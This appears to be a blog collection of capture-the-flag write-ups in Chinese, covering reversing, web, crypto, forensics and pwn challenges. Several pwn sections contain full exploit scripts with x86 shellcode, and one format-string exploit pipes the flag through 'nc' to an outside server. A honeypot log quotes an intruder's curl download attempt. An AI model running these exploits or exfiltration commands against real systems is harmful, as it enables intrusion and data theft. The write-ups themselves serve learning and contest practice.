over 9 years ago

得到一份 Python code,題目要對某串奇怪的東西選某些操作做,並且路上都不能壞掉。
不如就先來爆一下要哪個順序的操作可以是好的:

... 原先的 passcode.py
def main():
  for a in range(1, 10):
    for b in range(1, 10):
      for c in range(1, 10):
        for d in range(1, 10):
          f1='fun'+str(a)
          f2='fun'+str(b)
          f3='fun'+str(c)
          f4='fun'+str(d)
          try:
            answer_hash = f['fun6'](f['fun2'](f[f1](f[f2](f[f3](f[f4](answer))))))
          except:
            continue

          if len(answer_hash) == 0:
            continue
          print a, b, c, d
$ python passcode.py
3 5 1 4

只有一組解耶真好。

觀察一下後,可以發現有一招是在 base64 後面多加上些 = 解出來不會變,所以就來寫個 code:

... 原先的 passcode.py
def main():
  h = f['fun3'](f['fun5'](f['fun1'](f['fun4'](answer))))
  print hex2dec(reverse(binascii.hexlify(zlib.compress(h + '='))))
$ python passcode.py
14776808117554463895524407143315295523453799430392848299468657220152312326943167735766291274545269565571655501790641293086612883281379329572762713221559220272895777630561406954290568277444047387566672405325067568106228025972170232788497361815951678363187671648647
$ nc 218.2.197.243 9991
Welcome to Secure Passcode System
First, please choose function combination:
f1: 3
f2: 5
f3: 1
f4: 4
Your passcode: 14776808117554463895524407143315295523453799430392848299468657220152312326943167735766291274545269565571655501790641293086612883281379329572762713221559220272895777630561406954290568277444047387566672405325067568106228025972170232788497361815951678363187671648647
Welcome back! The door always open for you, your majesty!
BCTF{py7h0n-l1b-func7i0ns-re4lly-str4nge}

Win!

備註: 比賽時寫這題的人和寫 writeup 的人不同,比賽時是用某種改 zlib compress rate 過的,但因為比較麻煩這裡就寫簡單的做法了

 
over 9 years ago

用bochs把OS image跑起來,看到需要輸入Access Code

從MBR code可以看到它將img第二個sector載入5120 bytes到0x8000,並將前2048 bytes跟四位Access Code循環xor解碼
最後跳到0x8000執行

seg000:0000                 jmp     short loc_A
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0002                 db  42h ; B
seg000:0003                 db  43h ; C
seg000:0004                 db  54h ; T
seg000:0005                 db  46h ; F
seg000:0006                 db  4Fh ; O
seg000:0007                 db  53h ; S
seg000:0008                 db  4Ch ; L
seg000:0009                 db  44h ; D
seg000:000A ; ---------------------------------------------------------------------------
seg000:000A
seg000:000A loc_A:                                  ; CODE XREF: seg000:0000j
seg000:000A                 cli
seg000:000B                 mov     ax, cs
seg000:000D                 mov     ds, ax
seg000:000F                 mov     es, ax
seg000:0011                 mov     ss, ax
seg000:0013                 mov     sp, 0FFFFh
seg000:0016                 sti
seg000:0017                 mov     ax, 0Ch
seg000:001A                 push    ax
seg000:001B                 lea     ax, unk_7D34
seg000:001F                 push    ax
seg000:0020                 call    sub_62
seg000:0023                 mov     ax, 800h
seg000:0026                 mov     es, ax
seg000:0028                 assume es:nothing
seg000:0028                 xor     bx, bx
seg000:002A                 xor     cx, cx
seg000:002C                 mov     cl, 2
seg000:002E                 xor     dx, dx
seg000:0030                 mov     dl, 80h ; 'Ç'
seg000:0032                 mov     ax, 20Ah
seg000:0035                 int     13h             ; DISK - READ SECTORS INTO MEMORY
seg000:0035                                         ; AL = number of sectors to read, CH = track, CL = sector
seg000:0035                                         ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0035                                         ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:0037                 call    sub_A0          ; 讀取Access Code,xor解碼
seg000:003A                 mov     ax, 800h
seg000:003D                 push    ax
seg000:003E                 xor     ax, ax
seg000:0040
seg000:0040 loc_40:                                 ; DATA XREF: sub_62+19r
seg000:0040                                         ; sub_62+29r
seg000:0040                 push    ax
seg000:0041                 retf                    ; 跳轉到0x8000
seg000:0042

取出第二個sector data後,先猜測裡面有不少連續為0的區段,試著找出最常出現的重複4bytes區段。結果最常出現的區段,重複次數只有5次,用此段xor下去後還是亂碼。但是發現亂碼第一條指令向下跳轉0xA,然後這10bytes區間內有TF字樣,因此猜測這段開頭跟MBR開頭相同,有"BCTFOS"。測試後發現是正確的,Access Code剛好為"1337"

進入系統後,發現裡面實作了簡單的檔案系統,從code可以看到檔案被每26bytes切開儲存,儲存位置根據一連串的計算會亂跳。
檔案的metadata包含檔案儲存時的加密key和第一個檔案片段偏移位置,最後接上xor 0xcc後的檔名

<bochs:10> x/32bx 0xA000
[bochs]:
0x000000000000a000 <bogus+       0>:    0x01    0x00    0x06    0x00   [0x48    0xfe]   0x01    0x0f
                                                                        加密key   
0x000000000000a008 <bogus+       8>:   [0x0b]   0x0f    0xad   [0xad    0xad    0xad    0xad    0xad]
                                        第一段位置               檔名"aaaaaa"
0x000000000000a010 <bogus+      16>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x000000000000a018 <bogus+      24>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
<bochs:11>

第一個檔案片段

<bochs:11> x/32bx 0xB160
[bochs]:
0x000000000000b160 <bogus+       0>:    0x01    0x00    0xff    0xff    0xff    0xff   [0x29    0x9e
                                                                                        檔案內容
0x000000000000b168 <bogus+       8>:    0x2b    0x9c    0x2d    0x9a]   0x00    0x00    0x00    0x00
0x000000000000b170 <bogus+      16>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x000000000000b178 <bogus+      24>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

檔案加密方式是: 檔案byte xor 檔案offset xor (照offset奇偶輪流取key[0], key[1])
最後發現OS image中後面眾多0裡面有6個檔案片段與一個檔名為"key"的metadata,解密後得到

Dear CTFer, if you see this message, you have completely understood my OS. Congratulations!Here is what you want: BCTF{6e4636cd8bcfa93213c83f4b8314ef00}

解密code

b1 = [0x16, 0x36, 0x31, 0x23, 0x76, 0x14, 0x00, 0x13, 0x3F, 0x29, 0x74, 0x79, 0x37, 0x39, 0x7C, 0x24,
            0x2D, 0x36, 0x60, 0x32, 0x23, 0x22, 0x64, 0x31, 0x22, 0x22]
b2 = [0x4E, 0x1B, 0x41, 0x56, 0x4B, 0x1F, 0x4B, 0x5C, 0x4C, 0x57, 0x1A, 0x01, 0x64, 0x64, 0x70, 0x63,
            0x51, 0x1D, 0x4D, 0x1D, 0x18, 0x1C, 0x1A, 0x4E, 0xB6, 0xEB]
b3 = [0x3B, 0x69, 0x23, 0x2A, 0x3F, 0x3E, 0x13, 0x14, 0x15, 0x5D, 0x56, 0x0E, 0x1B, 0x00, 0x5A, 0x13,
            0x19, 0x0F, 0x1B, 0x5F, 0x1F, 0x12, 0x0F, 0x13, 0x0C, 0x04]
b4 = [0x12, 0x02, 0x08, 0x1C, 0x4A, 0x1E, 0x06, 0x0D, 0x0B, 0x1D, 0x1F, 0x19, 0x7D, 0x7C, 0x74, 0x31,
            0x7B, 0x6E, 0x34, 0x5A, 0x49, 0x35, 0x38, 0x5A, 0x71, 0x71]
b5 = [0x7B, 0x6F, 0x63, 0x77, 0x75, 0x6D, 0x67, 0x73, 0x6D, 0x6A, 0x64, 0x78, 0x29, 0x0A, 0x0D, 0x47,
            0x69, 0x7F, 0x57, 0x13, 0x59, 0x42, 0x16, 0x40, 0x5C, 0x54]
bx = [0xB2, 0xB2, 0xB0, 0xB6, 0xED, 0xE6, 0xE8, 0xEA, 0xEB, 0xBA, 0xE6, 0xEC, 0xBA, 0xE9, 0xA0, 0xFB,
            0xF3, 0xF0, 0xF2, 0xA2, 0xA2, 0xF5, 0xFA, 0xB6, 0x00, 0x00]

i = 0x52
j = 0x52

s = ''

l = b1 + b3 + b4 + b5 + b2 + bx

for k in range(len(l)):
    if k % 2:
        s += chr(l[k] ^ j ^ k)

    else:
        s += chr(l[k] ^ i ^ k)

print(s)
 
over 9 years ago

連到網站上後,會看到:

戳下去以後就會獲得 alert('You must login at host computer'); 的錯誤訊息。
打開原始碼,發現 form 裡面有一個叫做 ip 的欄位,用力把它設成 127.0.0.1 就可以略過這個錯誤訊息了。

然後就會遇到這個:


沒什麼招呀就猜猜看呀,打個 User: admin, Password: admin,居然就過了...

然後就進到了遊戲畫面,打開 agent1.js 看一下會發現,我只要走到終點並且 deadghost == 10 就會拿到 key 了。
於是打開 chrome console 輸入以下兩行:

> this.gameObj.player.life = 1000000000
1000000000
> this.gameObj.deadghost = 10
10

然後走到終點,就可以看到 key 了。

 
over 9 years ago

他鄉遇故知 (Cyprto & PPC 200)

描述

逃離到中國的米特尼克與以前的老朋友都失去了聯繫,這讓他常常懷念逝去的時光。在一次潛入某著名外企嘗試獲取重要資料的行動中,米特尼克還沒有拿到目標文件就不幸被保安發現了。在逃離的過程中,他闖進了一個辦公室,結果驚奇地發現自己二十年前的老朋友 Tupper 就在眼前。更神奇的是,Tupper 知道米特尼克需要什麼,給了他想要的東西並且幫助他成功脫逃。你知道米特尼克拿到的信息是什麼嗎? htp://bctf.cn/files/downloads/meeting-tupper_baaa58809f2a0435cb5f282ce4249fdf.txt

提示

  1. 論文很重要

解法

將該文件下載存為 tupper.txt 後打開,可以發現是加密過後的對話記錄。

嘗試在網路上尋找與 Tupper 有關的資訊後得到 Tupper's self-referential formula,根據該公式撰寫解密程式。

import re
import sys
import numpy
import matplotlib.pyplot as plt

def plot(h, w, k):
    g = numpy.zeros((h, w))

    def tupper(x, y):
        return (y // h // (2 ** (h*x + y%h))) % 2

    for y in range(h):
        for x in range(w):
            g[y][x] = tupper(x, y + k)

    plt.imshow(g, cmap='Greys')
    plt.gca().invert_yaxis()
    plt.savefig('tupper.png', bbox_inches='tight')
    plt.show()

if __name__ == '__main__':
    h, w, k = map(int, sys.argv[-3:])
    plot(h, w, k)

來看看會發生什麼事吧!

$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[0]')`

$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[1]')`

$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[2]')`

$ python tupper.py 61 500 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[3]')

耶比 BCTF{p1e4se-d0nt-g1ve-up-cur1ng}

 
over 9 years ago

這題在沒有提示 2 時其實嘗試了很久... 但都沒有結果就在此略過。
(只知道是個 dionaea 的 replay,中間做了點沒看懂的 IPC to /BROWSER)

有了提示 2 後,我們可以用 kippo 這個工具來 replay。

$ python kippo-0.8/utils/playlog.py kippo.ttylog.692ce16db7d940cb9ec52a8419800423
nas3:~# whoami
root
nas3:~# pwd
/root
nas3:~# cd /
nas3:/# ls
lost+found vmlinuz    srv        sys        run        sbin       proc       mnt        bin        usr        tmp        var        initrd.img etc        opt
boot       selinux    home       media      lib        root       dev
nas3:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
richard:x:1000:1000:Richard Texas,,,:/home/richard:/bin/bash
nas3:/# cd tmp/
nas3:/tmp# ls
nas3:/tmp# touch 1.sh
nas3:/tmp# ls
1.sh
nas3:/tmp# axel 2792326331/fool
bash: axel: command not found
nas3:/tmp# curl 2792326331/fool
bash: curl: command not found
nas3:/tmp# uname -r
Linux
nas3:/tmp# rm 1.sh
nas3:/tmp# exit
Connection to server closed.

(原本是會一個字元一個字元打出來,超酷的)

好呀,顯然要看看 2792326331/fool 是什麼。


Google Chrome 真懂我 XD

把這個檔案載下來後可以得到:

$ file fool
fool: PE32 executable (console) Intel 80386, for MS Windows

交給隊上負責逆向的人~

sub_4011C0() 那串就一臉 key 樣
每位 xor 0xf8 接起來

FLAG: BCTF{Y0u_6oT_It_7WxMQ_jjR4P_mE9bV}

 
over 9 years ago

ELF32, 我們在印出 mail 內容的 sub_8048d73() 中找到了一個 format string 漏洞:

int sub_8048D73(int fd, int a2){
    //...
    print(fd, "To: %s\n", *(&ptr + a2));
    print(fd, "Subject: %s\n", v3 + 32);
    print(fd, (const char *)(v3 + 96)); // 信件內容
    print(fd, "\n---------\n");
    //...
}

int print(int fd, const char *format, ...){
    void *v2; // ST1C_4@1
    int v3; // ST18_4@1
    ssize_t v4; // ST14_4@1
    va_list va; // [sp+38h] [bp+10h]@1

    va_start(va, format);
    v2 = malloc(size);
    v3 = vsnprintf((char *)v2, size, format, va);
    v4 = write(fd, v2, v3);
    free(v2);
    return v4;
}

好勒所以我們有一個 format string 漏洞,只是這個字串本身是在 heap 上,用 %n 做寫入時需要在 stack 上指定位址,這裡我們沒辦法直接將要寫的位址放在字串上。經過一番苦思,我們注意到了每個 stack frame 的 bp(A) 總是會指向前一層 stack frame bp(B) 的所在位址。利用 A 的值,%hhn 可以對 B 的最低位寫入,這樣 B 的值可以在一定範圍內浮動。我們接著再利用 B,%hhn 就可以對這個範圍內的任意位址寫入了。

printf("%130c%21%hhn"); // A @ 21$, 
printf("%76c%33%hhn");  // B @ 33$ (0x7fbb50a0 -> 0x7fbb5082,再對 0x7fbb5082 寫入 76)

另外,此題 stack 不可執行,但用 format string 印出 stack 內容後,可以找出 main() 返回進 libc.so 裡的位置。由於這題是以 fork() 方式來運作的 service,因此位址不會改變,再利用提示給的 libc.so 檔就可以找出 system() 的正確位址。但不能直接 system('/bin/sh') 因為這樣輸出是看不到的,我們用 system('cat flag | nc our.server 13387') 來送出 flag。完整代碼如下:

import socket
import struct
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.244',2337))

def S(x):
    st.send(x+'\n')

def W(x,Show=True):
    while True:
        s = st.recv(4096)
        if Show:
            sys.stdout.write(s)
        if x in s:
            return s

W('Exit',False)

def FA(x,pad=True):
    S('1')
    S('.TO')
    S('.SUB')
    if pad:
        S('[<({'+x+'})>]')
    else:
        S(x)
    W('Exit',False)
    S('3')
    S('1')
    s = W('Exit',False)
    if pad:
        s = s[s.find('[<({')+4:s.find('})>]')]
    S('4')
    S('1')
    W('Exit',False)
    return s

system = 0x3ea70-0x19993+0xf7489993
print 'system @ %08x'%system
print FA('%33$x'),FA('%34$x')

def WS(x,offset):
    FA('%%%dc%%21$hhn'%(0x68+offset)) # write 33 (ffb28d68)
    if ord(x)!=0:
        FA('%%%dc%%33$hhn'%ord(x),pad=False) #write ffb28d6c+offset
    else:
        FA('%33$hhn',pad=False)

WS('\x70',0)
WS('\xea',1)
WS('\x4a',2)
WS('\xf7',3)
WS('\x78',8)
WS('\x8d',9)
WS('\xb2',10)
WS('\xff',11)

print '# sending cmd'
cmd = 'cat flag | nc our.server 13387; '
for i in range(len(cmd)):
    WS(cmd[i],i+12)

print 'return to: '+FA('%34$x')
print 'arg1 = '+FA('%36$s')
S('5')

raw_input()
$nc -vlp 13387
listening on [any] 13387 ...
218.2.197.244: inverse host lookup failed: Unknown host
connect to [our.server] from (UNKNOWN) [218.2.197.244] 49763
BCTF{x14ng-fl4g-sh3m_m4_d3_zu1;m4;f4n;l3}
 sent 0, rcvd 42
 
over 9 years ago

ELF32,在購買手機的函式中,發現了一個導致任意地址寫入的漏洞:

index = strtol(buf, 0, 10);
if ( buf[0] == '-' || index > 8 ){
    //Input error
  }
//中略
s[-index + 8] += 1;

上面檢查 index 範圍的部份是有問題的,表面上它禁止了輸入負數,實際上 strtol() 是允許前置空白的。這會導致後面的 ++s[-index+8] 可以將任意在 s+8 後的位址的值+1,而這個 s 是在 stack 上的,我們可以利用這個漏洞改掉回傳位址。我們利用 Credit card number 把 shellcode 讀到 0x0804b1e0,再將主函式 sub_8048C00() 的返回位址 (原為 0x0804859e) 改掉 (9e -> e0, 85 -> b1),再以指令 d 關閉程序後,就會跳轉到 shellcode 上了。完整的代碼如下:

import socket
import struct
import sys

shellcode = '\x90'*60+'\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10HHHHH'+\
        '\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh0XXXX0000XXXXAAAABBBB'

origin = 0x0804859e
target = 0x0804b1e0

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.251',1234))

def W(x):
    st.send(x+'\n')

W('a')
W('1')
W('c')
W('y')
W('..')
W(shellcode)

ss = 0
for i in range(1,5):
    while True:
        d = origin&((1<<(i*8))-1)
        if d == target&((1<<(i*8))-1):
            break
        origin += 1<<((i-1)*8)
        ss += 1
        W('a')
        W(' -%d'%(15+i)) # -16 ~ -19 為原本的返回位址所在之處

W('d')
st.settimeout(0.1)
try:
    while True:
        st.recv(4096)
except:
    while True:
        s = raw_input('#').strip()
        st.send(s+'\n')
        print st.recv(4096)
st.close()            

代碼執行結果:

$ python a.py
#cat /home/ctf/flag
BCTF{n0W_4ll_Th3_ph0N3s_B3l0ng_T0_y0U~_~}
 
over 9 years ago

ELF32,首先分析一下,找到輸入點:

int main(){
    int v1; //[sp+18h]
 //...
 sub_8048DDE((char *)&v1);
    //...
}
int sub_8048DDE(char *buf){
    //...
 printf("\nReplay?(y/n)");
    fflush(stdout);
    scanf("%s", buf);
    //...
}

很明顯的 buffer overflow,108 bytes 後蓋到 main() 的返回位址,那我們的 shellcode 在哪裡呢? Stack 不好定位,我們借一下 sub_8048DDE(char*),把 shellcode 讀到 .bss 段上。因此要溢出的部份是這樣的:

0x6c: 0x0804bdde (原本為 main() 的返回位址)
0x70: 0x0804b146 (跳轉 shellcode,偏了 1 byte 是因為第一個字元要是 'n' 才會直接 return)
0x7c: 0x0804b145 (傳給 sub_8048DDE() 的參數)

另外,因為這裡是用 scanf("%s") 讀取的,shellcode 中不可以有 \t,' ',\r,\n 這些字元,我們做了一些修改以避開它們,例如把 mov al,0x0b 換成 mov al,0x10; dec; dec; dec; dec; dec;。完整的代碼如下:

import socket
import struct
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.250',1337))

while True:
    s = st.recv(4096)
    sys.stdout.write(s)
    if 'Replay?(y/n)' in s:
        break

s = 'n'*116
s += struct.pack('I',0x08048DDE)
s += struct.pack('I',0x0804B146)
s += struct.pack('I',0x0804B145)
st.send(s+'\n')
print st.recv(4096)

s = 'n\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10'+\
        'HHHHH\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff'+\
        '\xff/bin/sh0XXXX0000XXXXAAAABBBB'
st.send(s+'\n')

st.send('cat /home/ctf/flag\n')
print st.recv(4096)

執行結果:

This one's dedicated to allAnnotate the hackers

Even out settle score quick
My disaster recovery requires even more disks
Put your bytes up, prove it or you forfeit
Got my C64 and we blew it into orbit.

.......

Drink all the booze
Hack all the things

Replay?(y/n)
Replay?(y/n)
BCTF{H4v3-4-n1C3-pWn1ng-f3sT1v4l!!}

... 我承認當時完全沒有注意到自帶後門這件事 ...

 
over 9 years ago

由於提示 1. ,把圖檔直接用純文字編輯器打開後,會發現在圖檔的最後就有明文data了。
複製下明文 data 後,我們有的是 p[3] 的最後幾位,c, d, n 的開頭 70X 位。

連上服務器後:

$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt:

我們可以加密或解密。

  • 加密:

    Send E to encrypt, D to decrypt: E
    m: 3
    p[0] (just enter to choose from internal precalculated primes, -1 to end): 11
    p[1] (just enter to choose from internal precalculated primes, -1 to end): 13
    p[2] (just enter to choose from internal precalculated primes, -1 to end): 17
    p[3] (just enter to choose from internal precalculated primes, -1 to end): 19
    p[4] (just enter to choose from internal precalculated primes, -1 to end): 23
    c: 734743
    d: 694561
    n: 1062347
    Keep them safe! You will need them when you want to decrypt!
    

    要給 m 以及五個質數 p[0], ..., p[4] ,然後他會回 c, d, n,並且 p[0], ..., p[4] 都可以選擇用它內建的質數。

  • 解密:

    Send E to encrypt, D to decrypt: D
    c: 734743
    d: 694561
    n: 1062347
    m: 129424
    

    c, d, n,會回 m。稍微做嘗試可以發現 m = c ^ d (mod n),正常的 RSA 解密方法。
    稍微做些嘗試就會發現加密時 n = p[0] * p[1] * p[2] * p[3] * p[4],且 e = d ^ -1 (mod phi(n)) 固定為 65537。

在給定的圖片中可以看出,他的 p[4] 是用內建的質數,所以第一個想法就是把這個質數給弄出來:

$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end): 2
p[3] (just enter to choose from internal precalculated primes, -1 to end): 2
p[4] (just enter to choose from internal precalculated primes, -1 to end):
For safety reasons, at least 2 internal primes should be used.

居然至少要用兩個,沒關係,反正我們可以 gcd !!

$ nc 218.2.197.242 1481
Welcome to ...
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end): 2
p[3] (just enter to choose from internal precalculated primes, -1 to end):
p[4] (just enter to choose from internal precalculated primes, -1 to end):
c: ...
d: ...
n: 152028909836222113959550146912734866848449992318569105798843765272643341950784059000812186573943477804026802605391246296729074193639786301538402337715819765397152098376548993239554000665217434392619244660420346797308471846003587415187504969472684287180831671452465342171753461082955443582940450809950532470906250674428419619255510160205299765589939000119405025082703958840258130283810843215057396601779564895683712534815949888086746146162919092719413288599655789022419799459399913942341189733873481545992288737838058870494834078454569381106222136104602926008066452038339812275054761841285928381879124223071638421904968
Keep them safe! You will need them when you want to decrypt!
$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end):
p[3] (just enter to choose from internal precalculated primes, -1 to end): 2
p[4] (just enter to choose from internal precalculated primes, -1 to end):
c: ...
d: ...
n: 96015843946481686637114879276136845542044840790228140836663797227956932315675298864768177012643744432815920295222500857099596562630689542751573862328307675834243494110003769405008679987173422483588355200145422756352899280458539046260320020691969536675487117983627473748729422240538726362326148027934256368878228293830054287047691840429105980727256433828341801382779958698707797917999366380062371801926202280101690184155406357163981255860082059934067517711341093470089080937896315812544849677996805473953859731441138876891316303909285260267696673346402064316692108106784754162637970421382667527075181609672937034315016
Keep them safe! You will need them when you want to decrypt!
$ irb --simple-prompt --noecho
>> p 152028909836222113959550146912734866848449992318569105798843765272643341950784059000812186573943477804026802605391246296729074193639786301538402337715819765397152098376548993239554000665217434392619244660420346797308471846003587415187504969472684287180831671452465342171753461082955443582940450809950532470906250674428419619255510160205299765589939000119405025082703958840258130283810843215057396601779564895683712534815949888086746146162919092719413288599655789022419799459399913942341189733873481545992288737838058870494834078454569381106222136104602926008066452038339812275054761841285928381879124223071638421904968.gcd(96015843946481686637114879276136845542044840790228140836663797227956932315675298864768177012643744432815920295222500857099596562630689542751573862328307675834243494110003769405008679987173422483588355200145422756352899280458539046260320020691969536675487117983627473748729422240538726362326148027934256368878228293830054287047691840429105980727256433828341801382779958698707797917999366380062371801926202280101690184155406357163981255860082059934067517711341093470089080937896315812544849677996805473953859731441138876891316303909285260267696673346402064316692108106784754162637970421382667527075181609672937034315016)
8

居然沒有 gcd ?!?!
(備註:其實當初運氣很好,在這邊有找到 gcd 所以一下子就確信的接下來的步驟。)

猜測應該是 internal precalculated primes 不只一個,反正也沒很大問題,多跑幾次取個 gcd 就好了嘛。
寫個 code:

require 'socket'
require 'set'
def send(msg)
  if !msg.end_with?("\n")
    msg << "\n"
  end
  $sock.puts msg
end
def f(msk)
  $sock = TCPSocket.new('218.2.197.242', 1481)
  $sock.readpartial(1000)
  send("E")
  $sock.readpartial(1000)
  send("2")
  a = 1
  (0..4).each do |i|
    $sock.readpartial(1000)
    if (msk & (1<<i)) != 0

      send("")
    else
      send("2")
      a *= 2
    end
  end
  2.times { $sock.gets }
  res = $sock.gets
  res.split.last.to_i / a
end
arr = []
prs = Set.new
100.times do |i|
  puts "i = #{i+1}"
  x = f(3)
  arr.each do |y|
    d = x.gcd(y)
    if x != y && d != 1
      if !prs.include?(d)
        prs << d
        puts "NEW!! #{prs.size} #{d}"
      end
      if !prs.include?(x/d)
        prs << x/d
        puts "NEW!! #{prs.size} #{x/d}"
      end
      if !prs.include?(y/d)
        prs << y/d
        puts "NEW!! #{prs.size} #{y/d}"
      end
    end
  end
  arr << x
end
File.open('primes.out', 'a') do |f|
  prs.each do |x|
    puts x
    f.puts x
  end
end

好呀,跑起來後大概 i = 40 左右就再也沒有找到新質數了,而且恰好找到了 20 個,感覺很好。
那我們要怎麼找出他用的 p[4] 是哪個呢?
反正我們知道 c, d, e 呀,而且 d * e = 1 (mod phi(n)),所以 d * e - 1 = 0 (mod p[4] - 1)
再來寫點 code:

d = 104466343164729087857924433717120123026730345025496572931042729663280318332180201519089750547537033938031455617897881516094517777275472471958201971537515433606466378472927835746478394277274335131412557789270799764329039705481501785483498339440868338393442585095851195962652200500234673782591233520625438685029015759533598925357134261417036905888463009235413899315272889559176852036275265397811056374955100854876181160191819592386343114118564802721722543826454950667590196976027734654747903097930961234629331591248890805354981062509339001243417076985330052677577268459337389198642060462627790212276935817184089469412790871781453230934753628441673082327589657983062385021517502178692305602169426049605523210692307358226555979513497019015184500519142840969643972048560555580697162010947981169710611611950052624614665237552299775033261536729851959011165573920081722650964743920271258212239618325731253753648870324309322610138826118085856098561213518495328041115201952343510507600284151247753941884151840764304445433386559797702557090624854317046308814938880338048441331510647996933282819505770330293877324603923862108533946770000826346932912111766264413161263776344962785353355939178512371452254092861476682898741006579721786355221169465262747469206955933405183390054212205397384324334630503270038538801146133206134529293517467045269375439710074643957703552931399250244401960912957519498749770331566978742243561343913351811029603543887955317334570806642551975172888500131577049245452199491882818902853651477792230381277739300528906828493317634145
e = 65537

File.open('primes.out', 'r').each_line do |l|
  p = l.to_i
  if (d * e - 1) % (p - 1) == 0
    puts p
  end
end

好耶,找到剛好一組解

p[4] = 168989495350198471757304910164246620278618748133367672139165446394971542282791758834807455422116663508781271240060726532459335466894873529369737149899793694978740710751697223761546222188135151720364836557540052832994486319340900010305994941187266419756973586597235759828992800739396838968274798301109676918099

那剩下還可以做什麼呢? 我們發現所有的內建質數都是 1024 bits 的,所以我們的 n 會有 5000 bits 左右,根本沒辦法分解。
只好來看看知道的東西,我們會算 m mod p[4] = (c ^ d) mod p[4],不如就來算一下

$ irb --simple-prompt --noecho
>> require 'openssl'
>> c = 71645492621016673213464976773705576598977626188054643472370723424005857135162855393495525466474057651388978394889444949437380622155523348698509489004391235019565559713627704048764179825993770410982081163073179082285952371172055471437005696074211474392152995661697527350764986910630825290938713981052953920875056274443078166660161379007899771674818002376511810428126919459728556444907124724248902780437229599609692990060701334533869156239657433452398941687755149030225719626892256525828870439455342555038998548248930571438085811465324762391516078453666561369010072939796424295777910058168525395200497857742499478507305733793176124897603297195542885744052977605697204533460276361782701335960840419409638485275251200148529855104784943375845079462500946103046167381952863473525712385535457260742220493988472038884591586844210153095905539944176519845001888595529988070630591235276520727111922413882666126523273528142846421483047055572860010802821615126164839286994359724423504094657097576680526355991297870002520097946404866876092819438073099964246959985831951741988584061391662020367882716315675046351265596111348879131403112265886951818911512290815325914332803777263106292553807010792838432697001671952904056736058809040140495768716191710729870260566039901981373982507868220670494614453505465224168491429856270213842707867705951119825424174283567151574373848855252876003957712007790956767752239650449011091020177913065971208007298633065520219790822524305072574433056282209795778043445899379702686258716714912791202892749944700857668722626288022
>> d = 104466343164729087857924433717120123026730345025496572931042729663280318332180201519089750547537033938031455617897881516094517777275472471958201971537515433606466378472927835746478394277274335131412557789270799764329039705481501785483498339440868338393442585095851195962652200500234673782591233520625438685029015759533598925357134261417036905888463009235413899315272889559176852036275265397811056374955100854876181160191819592386343114118564802721722543826454950667590196976027734654747903097930961234629331591248890805354981062509339001243417076985330052677577268459337389198642060462627790212276935817184089469412790871781453230934753628441673082327589657983062385021517502178692305602169426049605523210692307358226555979513497019015184500519142840969643972048560555580697162010947981169710611611950052624614665237552299775033261536729851959011165573920081722650964743920271258212239618325731253753648870324309322610138826118085856098561213518495328041115201952343510507600284151247753941884151840764304445433386559797702557090624854317046308814938880338048441331510647996933282819505770330293877324603923862108533946770000826346932912111766264413161263776344962785353355939178512371452254092861476682898741006579721786355221169465262747469206955933405183390054212205397384324334630503270038538801146133206134529293517467045269375439710074643957703552931399250244401960912957519498749770331566978742243561343913351811029603543887955317334570806642551975172888500131577049245452199491882818902853651477792230381277739300528906828493317634145
